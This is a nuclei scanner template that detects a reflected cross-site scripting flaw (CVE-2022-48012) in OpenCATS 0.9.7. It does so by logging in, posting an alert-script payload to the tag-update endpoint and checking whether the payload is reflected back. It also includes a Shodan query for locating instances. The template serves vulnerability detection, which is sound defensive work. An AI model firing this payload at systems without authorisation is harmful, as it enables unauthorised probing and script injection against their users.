nuclei-templates/cves/2022/CVE-2022-48012.yaml

50 lines
1.5 KiB
YAML

id: CVE-2022-48012
info:
name: Opencats v0.9.7 - Cross Site Scripting
author: r3Y3r53
severity: medium
description: |
Opencats v0.9.7 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the component /opencats/index.php?m=settings&a=ajax_tags_upd.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2022-48012
- https://github.com/Sakura-501/Opencats-0.9.7-Vulnerabilities
- https://github.com/Sakura-501/Opencats-0.9.7-Vulnerabilities/blob/main/Opencats-0.9.7-Reflected%20XSS%20in%20onChangeTag.md
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-48012
cwe-id: CWE-79
metadata:
shodan-query: title:"opencats"
verified: "true"
tags: cve,cve2022,xss,opencats,authenticated
requests:
- raw:
- |
GET /index.php HTTP/1.1
Host: {{Hostname}}
- |
POST /index.php?m=login&a=attemptLogin HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username={{username}}&password={{password}}
- |
POST /index.php?m=settings&a=ajax_tags_upd HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
tag_title=<script>alert(document.domain);</script>
cookie-reuse: true
matchers:
- type: dsl
dsl:
- contains(body_1, "opencats - Login")
- contains(body_3, "<script>alert(document.domain);</script>")
condition: and